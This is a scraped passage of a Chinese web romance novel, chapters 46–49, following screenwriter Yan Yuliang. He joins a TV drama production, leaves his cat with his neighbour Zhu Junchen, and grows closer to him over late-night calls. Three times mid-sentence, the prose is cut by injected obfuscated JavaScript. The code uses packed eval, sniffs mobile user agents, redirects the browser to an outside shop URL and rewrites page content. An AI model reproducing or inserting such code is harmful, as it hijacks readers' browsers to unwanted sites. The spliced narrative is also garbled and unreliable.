谢谢大家的期待，我们看到有人在讨论编剧的事，你心目中最希望的编剧是谁呢？】 [言不言！！] [除了言不言都行。] [抱走言爷，谁也别蹭我们言不言哈。] 队伍分四波，一大波在喊言不言，一小波在喊别的编剧，还有两波呈现两种态度抵制言不言接下这部剧。 在官方发表这些帖子的时候，颜语凉在和副编、导演对接剧本，又在剧本里泡了一整个下午。 那群网友会说什么不用想都能猜个七七八八，他比较好奇今辰好的态度，毕竟这个剧本是他自己递过来的，跟脑子被门夹了似的，不知道现在后悔了没有。 快六点的时候制片方给他发了微信告诉他晚上八九点的时候可以转发那条猜编剧的博客进行“盖章”。 说实话，颜语凉既兴奋又紧张，比之前的每一次接剧本情绪都要高一些。 可能是因为第一次被拿来炒作吧。 他这样想。 想着想着又戳开了祝君忱的微信聊天框。 【我无言以对】：定餐厅！！ 【忱.】：？ 【我无言以对】：赌注呀，他肯定会嘲讽我的，多年经验。 【我无言以对】：周日就要出发了，我想吃市区新开的那家火锅。 【我无言以对】：他没喷我我请你吃 【忱.】：好。 46. 落空感 晚上九点整，颜语凉转发博客的某条评论正式官宣他是《海纳百石》的编剧。 【言不言 转发 @《海纳百石》电视剧： 可以。//再来一口初末吧：真的不可以是言不言吗？】 颜语凉发完，感觉评论区有一瞬间的沉寂，他轻轻蹙眉刷新页面，刷出了几百上千条感叹号和问号。 在一堆符号里发现少量文字。 [？？？] [！] [我没懂？是我理解的那个意思吗？] [扣字正要骂，发现是本人，遂收手，还是让今辰好来骂吧。] [路过嗑一口。] [《海纳百石》电视剧：感谢言不言老师和我们公司达成二次合作，参与我们《海石》的编剧工作！大家一起期待期待吧！] 今辰好似乎也蹲在他的主页，没多久便在评论区活跃起来，只不过画风和往常不太一样。 他先是回复了一条点赞量最高的艾特他来骂言不言的评论反问一句：“为什么要骂？” 然后径直发了条评论—— [今辰好]：期待期待。 颜语凉仔细盯着这条对方发的评论，左看右看，试图从这四个字里找到一丝挑衅的意味，一直到手机息屏。 他终于相信了慕唯说的话：“他是自愿的。” 他解锁息屏的手机，看到今辰好的评论底下也多了一溜的问号，不禁有些好笑。 [？] [？？？] [嗑一口好言难劝：感谢言不言老师和今辰好老师冰释前嫌达成第三次合作，担任《海石》的编剧！！] [事已至此，好言难劝。] [事已至此，好言难劝。] 颜语凉直接掠过了回复今辰好的环节，因为他不知道怎么回。 [言不言 回复 @嗑一口好言难劝：把中间那一长串什么冰什么三删了，谢谢。] 今辰好比被回复的粉丝更先回复他。 [今辰好回复 @言不言：哦。] 颜语凉感觉今辰好今天正得发邪，正要回复他“哦个锤子”，微信弹来了消息。 【忱.】：怎么样？ 颜语凉知道他在问什么，回到博客把今辰好说的“期待期待”截下来发过去。 【我无言以对】：他嘲讽了。 【忱.】：？ 【我无言以对】：[图片] 【我无言以对】：他说期待期待诶，你想象一下，一个跟你不对付的人突然跟你说期待期待，那是不是在阴阳怪气？不然我想不出任何原因。 “对方正在输入中”的字样闪烁两下，颜语凉感觉祝君忱正在消化这个设定。 【忱.】：行，我请你吃火锅。 【我无言以对】：（小猫打滚.jpg） 【我无言以对】：（小猫欢呼.jpg） 颜语凉心情愉悦地发完两个表情包，切回博客，把原先输入框打的“哦个锤子”通通删掉，重新敲字。 [言不言 回复 @今辰好]：你就搬好板凳期待着吧。 [今辰好回复 @言不言]：OK。 颜语凉盯着他发的这个回应，心中警铃大作，又给祝君忱发消息—— 【我无言以对】：[图片] 【我无言以对】：你看你看你看你看，这个OK，不是嘲讽是什么？他都用大写了！！谁家好人OK特地大写？ 楼下，坐在懒人沙发里一边在博客上回颜语凉消息，一边还要在微信上回他消息的祝君忱算是明白了。 不管今辰好说什么好话，颜语凉都会想方设法地歪曲成负面评论。 在两人拉扯间，几个热搜词条冉冉升起。 #《海纳百石》编剧言不言 #言不言今辰好宿敌档真的三搭了！！ * 颜语凉的航班在十四号偏近中午。 临走前他随意收拾了下房间，然后把想想装进航空箱里。 之前他出差的时候想想都会托给廖寻桃照顾，这回他临走前却改了主意，下楼去找祝君忱的时候顺手就把航空箱给了他。 想想不算轻，箱笼沉甸甸的。 祝君忱刚给颜语凉开门，第一眼看到的就是这个航空箱。 “带走还是？”祝君忱轻抬眼皮看着站在门口的颜语凉。 “你养留守儿童不？你不养我给廖寻桃去。” “养，”祝君忱的目光落在小猫身上，想想很乖，不吵不闹地在航空箱里窝着，好奇地睁着眼睛往他家里头瞧，抻着脖子往前嗅嗅，于是他便接过来，问，“有什么注意事项吗？” 颜语凉在电梯上就在脑内罗列注意事项，现在掰着手指说起来：“它很粘人，喜欢人陪着，所以如果我要长期出门的话不会请上门喂养，怕它太孤单，注意事项不算多，它挺好养的，待会我上去把它的家当拿下来教你猫粮一般喂多少，刚开始放出来可能会往沙发底下钻……” 祝君忱的眸光一动，偏头视线落在家里的沙发上。 颜语凉跟着他一起看过去，嘴里如瀑布般倾泻的话卡了壳，因为祝君忱家的沙发底离地只有几毫米。 “……沙发底下钻不下去，可能会钻床底下。” “我床也是落地款。” 颜语凉的视线在对方家里扫了一圈，居然没发现一个会被猫钻的空隙：“……” “好吧，主要就是刚到陌生环境可能会比较害怕，过两天就会把自己当主子了。”颜语凉笑眯眯的，“把你桌上的易碎物要么放地上要么放特高它碰不到的地方，不然它会趁你不在家搞破坏。” 祝君忱挑了下眉，听对方的说辞，自己好像接了个小魔头回来：“不听话能放锅里煮了么？” 颜语凉闻言皱了下脸，佯装不悦道：“清蒸的不好吃要吃油炸的，炸至两面金黄，口感好。” 想想不知道是不是听懂了，突然夹着大口“喵”了一嗓子。 颜语凉忙蹲下来，和航空箱里的猫咪脸对脸：“不炸不炸。” 祝君忱很轻地笑了一声。 颜语凉蹲着，两人呈一高一低对视着：“你待会得给它喂半根猫条道歉，不然晚上你就别想睡了。想想可记仇了。” 有了帮养猫咪这一茬，在去机场的路上，颜语凉一直在叭叭叭地说养小猫的事，还说让祝君忱吃完饭可以出去溜溜它散散步， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16758122|190096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 区域就在这栋楼和隔壁楼之间，再远它会害怕，也不能让它往草丛里钻，云云。 祝君忱一边开车一边听着说完，勾起嘴角：“在家里给它买个跑步机得了。” 颜语凉说得有点口渴，正偏头看向窗外的风景，闻言闷头笑起来，肩膀一抖一抖地，半晌应道：“你真敢想。” 十月上中旬的北京正是不冷不热特别舒服的时节，去机场的路会经过一条槐树长道，秋天金爽的性情铺满这条街道，小汽车驶过时往外眺，漂亮得晃眼睛。 前年秋天，差不多也是这个时间他也接了一部剧，赶往机场也经过了这个地方，却远没有此刻的心情这般轻盈。 穿过长道，眼前蓦得一空，心底也蓦得像是少了些什么。 他支着下巴装作不在意地偏头看向旁边正在认真开车的男人。 对方的眼睫较长，眼底映着车外的光亮，似有所感地看过来扫了他一眼。 颜语凉笑得纯良，他听到自己的声音飘在前面说：“好好开车啊，看我干嘛？” 思绪却绕在后头。 他似乎有些明白那心里有些空的感觉是什么了。 是因为他有点不舍得祝君忱。 因为见不到祝君忱，所以心头落空。 * 舟山是一个极优美的海岛城市，感觉这的空气都比北京流畅许多。 颜语凉一下飞机就接到了孙导的电话，孙导是《海纳百石》的总导演，在业内蛮有名的，红黑各半。 “喂，小言啊？”听声音是个四川人，普通话有些粗糙。 “嗯，孙导。”颜语凉拖着行李箱应道。 “你下飞机了吗？我让小面包来接你了哈！” 颜语凉抬眉狐疑重复道：“小面包？” 我还小猫咪呢。 “对对对，小面包，你看看停车场那边有没有个拿了块牌子写了几个英文字母的小胖子，他是我们的片场助理，应该很显眼。” 颜语凉正好走到停车场，扫视一圈还真一眼就看到了，这个被孙导称为小胖子的人，其实不小，身量很高，也不是胖更贴切来说是壮，长得确实像一个小面包。 他看着对方胸前举着的牌子：“HNBZ?” “对对对，”孙导笑得爽朗，”海纳百石的缩写。” 颜语凉脑盘子微微一转：？ 察觉到颜语凉停顿的孙导解释道：“敦敦没怎么上过学，一直都是干的体力活，写错了，体谅一下。” “敦敦？” “就是小面包。” “……” 颜语凉露出“体谅”的表情挂了电话走到“敦敦”面前，发现这个人远看蛮高，实际上要比祝君忱矮一些。 他挤出一个官方而亲切的笑：“你好。” 对方也冲他笑，笑得有点憨：“你好，我是小郭，老师您叫我小郭就好了。” “……？”颜语凉脑盘子转不动了，“哪个郭？右耳朵那个？” 小郭脸上的表情滞了一下，似乎在他所识不多的文化常识里搜寻什么是右耳朵，最后说：“好像是？” 这个剧组有毒！ 现在逃跑还来得及吗？？？ 47. 电话粥 敦厚老实的小郭开车很稳，颜语凉坐在后座抬眼好奇地朝外看——舟山是一个美丽的滨海小岛，他来之前搜了攻略，到东极岛还得去码头坐船。 口袋里的手机震了一下，颜语凉有预感是祝君忱发来的，翻出来一看，果然是。 【忱.】：[图片] 【忱.】：它这样是比较害怕吗？ 图片里，小猫正站在书柜子里面，伸手去扒拉摆在窗台上的一盆多肉，瞳仁微张，嚣张无比。 颜语凉只花一秒钟就辨认出这是祝君忱的书房，他发现小猫坐着的那层书架上摆了好几本他的书，目测都是新买的，因为之前写《小姐小姐》他去过对方的书房，那个时候还没有。 颜语凉正在放大图片辨认，祝君忱又发过来一条消息。 【忱.】：[图片] 新的图片中，那盆多肉已经倒在地上，香消玉殒，撒了一小摊泥。 【我无言以对】：？你猜我为什么不在窗台上放瓶瓶罐罐？ 【我无言以对】：其实你可以拦一下的，而不是拍下它的作案过程。 【忱.】：没事，花盆是塑料的，没碎 【我无言以对】：那你现在还得扫地。 【忱.】：有扫地机器人 【忱.】：所以它这样算害怕吗？ 【我无言以对】：你不觉得你的小多肉更害怕吗？ 颜语凉发完这条消息便闷笑出声，乐滋滋好一会儿。 心说想想是真的对祝君忱没防备，之前带它去廖寻桃那都缩头缩脑好几天，桃女王伏在地上递了好久的猫条才纡尊降贵出来一些。 * 到酒店将近八点，只在飞机上吃了一点飞机餐的颜语凉收拾完行李饿得前胸贴后背。 一个翻身起来想找个地方吃点东西填填肚子，身侧的手机嗡嗡嗡地震起来。 孙导建了个剧组的群，颜语凉翻开群员列表粗略扫过去，七七八八的，灯光师、摄影师、美术指导、主演、还有一两个主要配角都在。 群名取得像老干部。 [《海纳百石》项目部（11）] 【孙导】：@言不言 @秦濯 @周析薇暂时就咱几个到了，来到路上我看到一家很有名的海鲜店，要不要一起去吃一顿？ 秦濯和周析薇是主演。 摄影师和另外一个配角演员似乎和孙导很熟，在他一说要去聚餐的下一秒就活络地闹起来，说导演带头搞小团体云云。 提前熟络一下也好，之后在剧本方面肯定要跟这几个人聊得很深入。 【言不言】：好啊，正好没吃饭。 秦濯和周析薇接在后面说好，从网络上看这两人似乎都不是话多的性格，至少在前面几人闹腾间他们都没有插话。 这倒是和书中两位主角的性格不谋而合。 颜语凉这样想。 很快，他就发现自己错了，大错特错。 在周析薇拿着一叠书求签名的时候。 这个女孩话和廖寻桃一样多，没有一点明星的架子，全是粉丝的架子。 包厢里，画着淡妆的漂亮女星进门第一件事不是和未来几个月的搭档讲话，而是向颜语凉投来热切的目光。 先是礼貌地问候了一下导演和秦濯，然后从包里拿出了《尘封水》，双手奉给颜语凉：“言不言老师，请您签名！” 颜语凉略显局促地坐在原地：“……这不是我的书。” 周析薇口出狂言：“今辰好的书就是您的书！” 颜语凉的面色变了又变，一时不知是该哭还是该笑。 好在孙导拉了她一下说：“小薇快先坐。” 周析薇便坐在他左边隔一个的位置，似是发现了自己的无礼，低声向他道歉，解释道，她平时没什么爱好，就喜欢看些小说，什么小说都看，《尘封水》程初的扮演者是她之前一部剧的搭档，很羡慕他能出演今辰好和言不言的书改剧，今天终于轮到她了。 颜语凉在她劈里啪啦解释间，他翻开那本《尘封水》，发现这本居然还是签名版，非常不记仇的颜语凉在今辰好三个大字下面签上了自己的名字，习惯性地在后面跟了一个小猫表情，但是这只小猫是愤怒的。 “谢谢！”周析薇很喜欢这只活力满满的小猫，惊喜着感谢，然后从随身的包里拿出了《她的沉默雨季》《伏妖恋人》《与猫无关》《海纳百石》……三本他的书一本今辰好的书。 孙导正在招呼服务员倒饮料倒酒，看到如此场景也是惊到：“小薇，你这是来拍戏的还是来参加签名会的？” 秦濯倒真是个冷脸帅哥，如果说祝君忱只是长得偏冷，笑起来就像化开的水的话，这个人简直就是一座冰山，接近一秒都要被冻死了。 整顿饭颜语凉都没跟他说上几句话，更多关于他们对剧本的了解程度还得看明天的剧本围读。 不过周析薇应该不用担心，毕竟看上去是个不折不扣的原著党，甚至可以加个“疯狂”的定语。 他们的酒店在同一家，都是小郭提前约的。 回到酒店，颜语凉感觉自己身上全是海鲜味，忙跑进浴室畅快地净化身心。 吹干头发舒舒服服地窝在床上，坐了一天飞机还有一个小时船的后劲上来，强打精神的身体到这会儿才开始觉得累。 颜语凉掀着睡意翻了个身，他住在三十四层的高楼，前面阳台有一面很大的落地窗，外边就是临海的景色。在黑夜的笼罩下，大海变得模糊不清，像一口巨大的深渊。 房间隔音很好，很安静，但是颜语凉没来由地感到孤单，纵使孙导组建的群聊还在突突突往外冒消息，他还是觉得缺了些什么。 他点开博客，主要看关于《海纳百石》电视剧马上要开拍的评论，退出去刷尽书网自己主页的书评，又跑去看朋友圈，发现祝君忱难得地发了一条，说：“家里住进了个捣蛋鬼怎么办？”附上一段想想把他的衣服从沙发上拖到书房的视频。 难以想象今天祝君忱和想想是怎么相处的，估计挺鸡飞狗跳的吧。 他往下滑看到廖寻桃在评论区胡言乱语说：“想想的抚养权到你那啦！” 然后祝君忱也胡言乱语地回“嗯”。 搞得跟他卖小孩一样。 盯了对方头像片刻，颜语凉终于知道他缺了什么了。 前阵子答应祝君忱晚上睡前要跟他说一声，国庆回来也继续践行 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16758123|190096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了好几天，可是他明天吃不上对方的早饭，也不用跟他说自己今天什么时候睡觉明天什么时候起了。 就是缺这个，缺祝君忱一声晚安。 颜语凉曾经觉得无微不至的报备是束缚。 可是他现在却迫切地想告诉祝君忱自己在干什么，也迫切地想知道对方在干什么。 他隐约有些明白过来，这些并不是束缚，而是喜欢，而是归属。 他有些脸热地埋进枕头，后脑勺毛茸茸的，然后露出一只眼睛盯着手机屏幕，下定了某种决心摁下了一个按键。 祝君忱接到颜语凉电话的时候正坐在沙发上看书。想想坐在沙发椅背上，他翻一页，它抬手拍回去，他翻一页它翻回去，就这样三四个来回。 祝君忱第一次养猫，也是第一次和猫这么亲密地相处，他突然有点好奇这种生物的脑袋瓜结构。 接通的第一秒，颜语凉没有说话，直到他怀疑是不是误触打错了，唤了声：“颜语凉？” 对方才应声：“嗯。” 祝君忱怀疑他没什么事，只是单纯地想打电话给自己。 正要开口，电话里又出声了：“我猫呢？” 原来是想猫了。 “在看书，”祝君忱诚实道，“一直在看同一页，不准我翻。” “……” “它在家里也看书吗？” “猫看什么书？”颜语凉惊异地微微抬高音量，他有些内疚，因为祝君忱似乎替他养猫养坏了脑子。 谁知祝君忱却说：“毕竟是你的猫，聪明一点也无可厚非。” “……” “有没有开心一点？看你情绪不太高。”祝君忱把书合上放在茶几上，想想便跳到茶几上把这本书推到了地毯上，行云流水。 “原来是逗我开心，我还以为半天不见变成傻子了。”颜语凉牵起一个笑来，又想起下午的“它这是害怕吗？”，问，“下午也是吗？” “嗯，”祝君忱承认，把想想弄掉的书捡起来，夜晚已深，正是适合交流心事的时刻，“因为你去机场的路上好像也不太开心。” “不是不开心，”颜语凉垂目往被子里埋了一些，声音闷闷的，“就是一个人走过来走过去孤零零的，想起要有新的社交就会很累，压力比较大。” “原来是这样，”祝君忱听了，问道，“今天晚上社交了吗？女主角有没有让你请她吃饭？” 颜语凉想起来之前跟对方分享的《账本》剧组发生的事，回旋镖丢回来他又丢回去：“你不应该担心我请不请男主角吃饭吗？” 祝君忱的话音顿了两秒，就因对方顿的这一下，颜语凉感觉自己说的这句话太奇怪太直白太尴尬了，他的面颊子几乎是一瞬间就热起来，刚要说点别的什么盖过去，却听对方很轻地回应道：“是么？” “嗯，”颜语凉把脸全部埋进被子里，吐了口气，说话声音又低又闷，“你想，那样的话我是不是要有别的好朋友了？” “不准。”他听到他轻笑一声说。 颜语凉总感觉耳边一直有东西在吵，都快听不清祝君忱说什么了。 眨了下眼睛才惊觉，那“咚咚咚”响的，是自己的心跳。 48. 围读会 颜语凉敲了下自己的脑袋，让自己稍微平静了一些，和祝君忱说起今晚的事情：“晚上导演请我们吃海鲜，我跟你说那个女主，她居然是我和今辰好双坑，拿了本《尘封水》签名版让我签名，给我吓死了，还以为对家贴脸来了。” “你呢？晚上在干什么？” 祝君忱的目光落在远处正在舔毛的想想身上：“你让我一天给猫喂一根猫条，下午半根，剩半根放冰箱，晚上再拿出来给它吃，但是它真的很喜欢吃，我就一次性喂了一根，有什么影响吗？” “影响就是晚上不准吃了。”颜语凉很喜欢看祝君忱的养猫日常，很喜欢看对方对毛茸茸的东西没辙的样子，“第一天当铲屎官的感觉怎么样？” “感觉不错。” “哪里不错？”颜语凉追问。 “……可以想象出来你平时在家是怎么带它的。”他能想象出当想想把家里某一处弄得一团遭时，颜语凉指着小猫的鼻子说着教导的话，有一种没长大的小大人的感觉。 “我刚刚看了会博客的评论，这部剧吵得太热了，现在网上期待值很高，万一高开低走我和今辰好两个人都会‘身败名裂’。”颜语凉轻飘飘地换了个话题。 祝君忱便接过来：“那你害怕么。” “我害怕什么，”其实心里有点没底的颜语凉嘴硬说，“我可是言不言，该害怕的是今辰好。” “也是，你可是言不言。”祝君忱附和道。 他们就这样有一搭没一搭地聊着天，颜语凉很喜欢和祝君忱说话，躁动不安的心跳也慢慢平和下来。 夜静悄悄的。 祝君忱在讲自己手上新看的书是什么主题，讲了什么故事时，听到了颜语凉平缓的呼吸。 他一直保持着拿着手机靠在耳边的姿势，只不过中途换了张更舒服的沙发，这会儿不说话了才发现手腕有点麻。 他没有立马挂电话，垂眸没作声安静地听了一会儿。 许久，声音像天上飘着但不敢遮蔽月光的云，说：“晚安，颜语凉。” 睡得迷糊的颜语凉听到了，嘟囔的声音很小：“晚安，祝君忱。” 夜色已沉，昏黄的睡眠灯光下，男生的睡脸温和安详，手里覆了半边的手机屏幕上，通话时长依然一秒一秒地跳动着。 * 这一觉睡得太舒服，颜语凉没定闹钟，第二天八点钟就自然醒了。 打开手机，一进去就是祝君忱的聊天界面，想起来昨晚没聊完就睡着了的事，他正要说声抱歉，却看见他们的通话断开时间在凌晨两点。 ？ 他俩是什么话痨转世吗？居然聊到两点。 【我无言以对】：早 【我无言以对】：我们昨晚聊这么晚吗？ 【我无言以对】：对不起啊，没熬住睡着了，今晚再给我讲那本书吧。 祝君忱没有立马回复，估计还在睡觉。 对方如此完美的早睡早起作息居然被自己的一通电话拖下了水，颜语凉在酒店里兀自愧疚了一会儿，收拾东西赶往片场。 今天要进行《海纳百石》的剧本围读，昨天没到的人今天通通来齐了。 很多人都听过言不言的名字，但是都没见过言不言本尊，围读前寒暄的时候有不少人在夸颜语凉年少有为云云。 他只是淡淡地冲那些人笑笑，眼底毫无波澜地打声招呼便闷头看起剧本。 编剧最好不要把自己塑造成一个好说话、性格好的好人，不然以后什么话都敢跟你说。 很多人见颜语凉性子淡淡的，就没有再凑上来搭话了。 颜语凉也得以少了很多没必要的社交。 《海纳百石》是一本现代幻想小说。 讲的是一位海底之神爱上人类女孩的故事，人设不算新颖，但是世界观别具一格。 海底拥有高级意识的生灵都会很好地藏匿自己，随意让人类发现自己的踪迹是要受罚的。 每一个高级生灵都是天地灵生，石头缝里蹦出来的，没有、也没必要有亲人、朋友、爱人。 他们都有一块美丽的、特殊的石头，听说，那是他们的心脏。 海底的时间被水漩转得很慢，因此每一个深藏海底的生灵都比人类活得更久。 织水者织海底各处水流，使得海底世界顺利轮转已有几百年。 只有海底一代又一代的统治者们知道，织水者的水流不仅仅是疏导海底交通、分隔领地，还制造了一个个水流控制时间。 他的地位几乎是万人之上，海底之王都得敬他三分。 因为百年来就只生了他一个织水者，以致于任何红眼的人都动他不得。 “啪！” 精致的玉椟碎落在地。 这是颜语凉设计的开场。 织水者名“时”，第一幕以时四百岁生辰宴发现代表自己“心脏”石头突然失踪为始。 他匆匆封锁宴会搜了所有人的身都没找到那块石头，接着又出去找，最后自然是不得结果。 他难得地忘记抹去自己的踪迹，坐在海岸礁石上黯然神伤。 然后看见一个背着竹筐的人类女孩缓步走在岸边捡石头，他正要将自己的身形隐去，却发现女孩手心有一块心形的石头，和自己那块“心脏”如出一辙。 织水者慌忙换作人形，女孩却不见了踪影。 他在沙滩的礁石上坐了两三天，终于等到了女孩。 女孩见他情绪低落，主动上前询问有没有需要帮助的地方，时见到女孩，猛得站起来却说不出一句话。 他能听懂很多语言包括人类的语言，但是不大会说。 “你是哑巴吗？我能看懂一些手语，你叫什么名字？” 织水者可不懂手语，从自己会说的、贫瘠的人类语言库中抠出一个字：“还。” 还我石头。 女孩明显误解了：“环？你叫这个？” 织水者忙摇手，又挤出一个字来：“……时。” “哦，你叫环时。我叫傅笛，有什么我可以帮忙的么？” 这是他们的初识。 开头的语言较少，需要场景来初步构建世界观，需要演员的情绪和演技来初步构造人物形象。 今天的围读要读完半本，一直到两人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16758124|190096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心意相通，中间有好笑的误解，有酸涩的分别，颜语凉串了首海底民歌进去，让环时初听不知曲中意，再听已是曲中人。 演员们在读，颜语凉和导演、美术指导坐在一起，时不时就得评价一下某段话是不是太冗杂注水，可以删掉，某段剧情是不是依然差点意思，有些场景是不是太单调，有些冲突是不是太无厘头，有些情节实拍会不会有难度。 半天下来，颜语凉那本剧本上旁批写得满满当当，他却依然看起来精力不错地支着腮听着旁人的意见、盯着演员们的表演特征。 结束的时候几位演员都口干舌燥。 有了前一晚的饭局破冰，周析薇不太怕他，看颜语凉旁边的美术指导走出了房间便坐到旁边来问：“言不言老师，你写那么多呐，剧本1.0很差吗？我没见过编剧的剧本上居然有那么多字！” 颜语凉摇了下头，他耷了点眼皮，眸光落在白纸黑字上说：“写在纸上的东西和人说出来的感觉是不一样的，换个语气都会产生不同的意思，有很多改动很正常。而且现在你就是傅笛，秦濯就是环时，不仅你们要贴合角色，角色也得贴合你们。” “噢。”周析薇发现一聊起剧本的事，颜语凉的话就会肉眼可见地变多。 颜语凉微微弓了些腰缓慢地让自己退出注意力高度集中的工作状态，指着剧本上的某一处，这里讲的是环时替傅笛赶走了前来讨债的几个壮汉后，傅笛身上带着伤，说了很多交心的话。 “你看这里，这边我写的时候往里面堆了太多东西，谁有耐心听你讲那么多，得砍一点换个方式写出来，而且，傅笛本身没那么爱说话，一次性吐那么多别说观众会嫌烦，角色本人也会嫌烦。当时写的时候就在犹豫这里该怎么处理了，偷了个懒，结果刚刚读的时候果然很怪。” “我记得原著这里傅笛只说了两三句话，其他的身世都是旁白告诉我们的。” 颜语凉向她投了个赞许的目光：“记这么清楚？” “当然了，”周析薇眨眨眼，“这可是初次拥抱名场面～” “对了，你和……”周析薇正要再问些什么，桌上扣在水杯旁边的手机突然震动起来，颜语凉的目光从剧本上挪到手机上，翻过来看到了来电人的名字，面上本因剧情而纠结的的表情，突然软下来，嘴角微不可察地上扬。 转过来的时候那抹笑又变得无比官方：“抱歉，接个电话。” 周析薇被他盯着手机时的那抹笑惊艳得心头一跳，看着编剧老师起身站起来接了电话走出门，心说应该是女朋友没跑了。 谁知，颜语凉虽然没有开免提，但是他的电话音量依然比较大。 周析薇听到电话里一个清冽的男声传出来：“在忙么？” 然后她帅气的编剧老师一边拎着剧本走回来拿走了忘在椅背上的外套，一边往外走，嘴里熟稔地应道：“都能接电话，哪里忙？” 旁边的孙导还在默不作声头秃分镜设计，周析薇看他一眼，又看了一眼对面还坐着的几个围读完很是疲惫的演员，问孙导：“导演，您忙么？” “忙死了。”孙导薅了一把自己扎扎的寸头说。 49. 联谊会 “在忙么？” “都能接电话，哪里忙？”颜语凉出了临时会议室，靠在窗口吹着风听祝君忱说话。 对方似乎有些急，没有像往常一样同他开个小玩笑或者回句嘴，语速有些快，问：“想想吐了，要去医院么？” “吐了？”颜语凉皱皱眉重复道。 “对，”祝君忱继续补充，“我上网查了一下感觉挺严重的。” “……别听网上的。”颜语凉轻笑一声，“它现在能跑能跳吗？” 祝君忱抬头看了眼顺着沙发爬到橱柜顶上的猫，回答说：“能。” “那就没什么问题，应该是吐毛球了。”颜语凉解释道，“你去我家拿点大麦苗粉混在它猫粮里，还有化毛膏，和猫粮猫砂一个柜子。” 祝君忱放心了一些：“刚刚我在做晚饭，它突然在旁边吐了，还以为太难闻了。” 颜语凉乐呵呵地为他的厨艺正名：“怎么可能。” 把猫给祝君忱的那天颜语凉把家里门的密码告诉了他，方便祝君忱过去给猫“进货”。 祝君忱上楼拿颜语凉说的东西时，他们一直挂着电话，把瓶瓶罐罐抱在怀里，祝君忱舒了口气问：“它经常这么吐吗？” 那也太吓人了。 颜语凉坐在小板凳上抱着剧本看着孙导和制片指挥后勤人员跑来跑去准备明天开机仪式的物什，回答道：“不经常，几个月一次吧，多给它梳梳毛，想起来就喂点排毛用品就行，疏忽了才会吐。” “哦。”祝君忱懂了。 每一部剧开拍的第一周都是幕后制作组最头疼的时刻，不仅演员的磨合还不够好，他们幕后人员的磨合也非常一般，默契度不够会导致剧本的修改和演员的戏双双陷入瓶颈。 解决方法很简单，多搭几场戏，多吃几顿饭就能解决。 颜语凉其实不喜欢觥筹交错、披着人皮的社交，但是为了了解更多大家对剧本的见解，他不得不跟着三天两头地吃饭。 每天都得忙碌地泡在片场，尽管他要管的事不多。 时间在不经意间溜走，颜语凉忙得有些记不清哪天是几号。 十九号这天他也很忙，祝君忱跟他说青书决赛名单出来了的时候他还有些懵地说：“怎么提前了？”结果一看时间居然已经快踏入十月下旬了。 青书比赛大部分作品会止步二轮，被评一等奖到三等奖。 挑出五部最好的作品出来进入决赛评金奖、银奖、铜奖。 评判方式是每部作品每部作品批15万经费分别递给五位导演，招募戏剧学院的学生进行剧本拍摄。 按最后剧本的呈现结果以及网络投票结果进行最终评奖。 “我们进了吗？”颜语凉坐在椅子里按按后颈，前两天一直在坐小板凳坐的腰酸背痛了两天，贴心的小郭给他送来了一张舒适的软垫椅子。 祝君忱在电话里说：“进了。” 他问得时候心里隐隐紧张，得了结果喜悦便涌上心头，涌得满满的。 溢出来的时候又开始头痛。 都说轧戏的演员不是好演员，那轧戏的编剧呢？ 头痛间，陆择给他发了条恭喜的消息，说起接下来决赛该如何如何准备，颜语凉看得眼花缭乱。 反正手头剧本正好已经整理好了大半，最近能得些闲，他干脆买了张机票回了北京。 早上拎了个包，打了个车就走了，只来得及前一天跟导演说了一声，还没来得及跟任何朋友说，下了飞机手机一刷新接收到了一万条消息。 颜语凉顿了一下，划着满屏的“生日快乐”。 秋风浓烈，吹得他身形不太稳，他才想起来今天是他的公历生日。 巧得很，似乎每年生日他都处于非常忙碌的阶段，好友们想找他庆祝都找不着人。 地球研究小组甚至在凌晨卡点鞭炮齐鸣鼓掌庆祝他的24岁，不过他前一晚因为要赶飞机睡得早群消息堆到99+通通没看到。 颜语凉眸光一动，点开祝君忱的聊天框，发现对方也在凌晨的时候给他发了声“生日快乐”。 ？ 祝君忱怎么知道他的生日的？ 【我无言以对】：你怎么知道我生日？ 对方估计有事，很久没回。 颜语凉去导师那转了一圈，顺便帮他打了会工，外面就已经快五点了，中午凑合吃的那点飞机餐已经消耗完了，现在肚子扁扁的。 陆择知道他的生日，颜语凉准备走时给他塞了一套简约大气的笔记本作为生日礼物。 去年是简约大气的钢笔，至今还在压箱底。 颜语凉摸摸饿惨了的肚子，把笔记本放书包里，心说不如给我塞两个面包。 “小颜你从机场赶过来是不是没吃什么东西？”陆择发现他面色有些差，翻箱倒柜翻出来一块不知道几几年的糖，又讪讪地塞了回去，感觉塞回去也不好，最后丢进了垃圾桶。 “没事老师，”颜语凉舔了下唇说，“我马上去食堂吃点就行，《小姐小姐》决赛的事我还得去找祝君忱。” 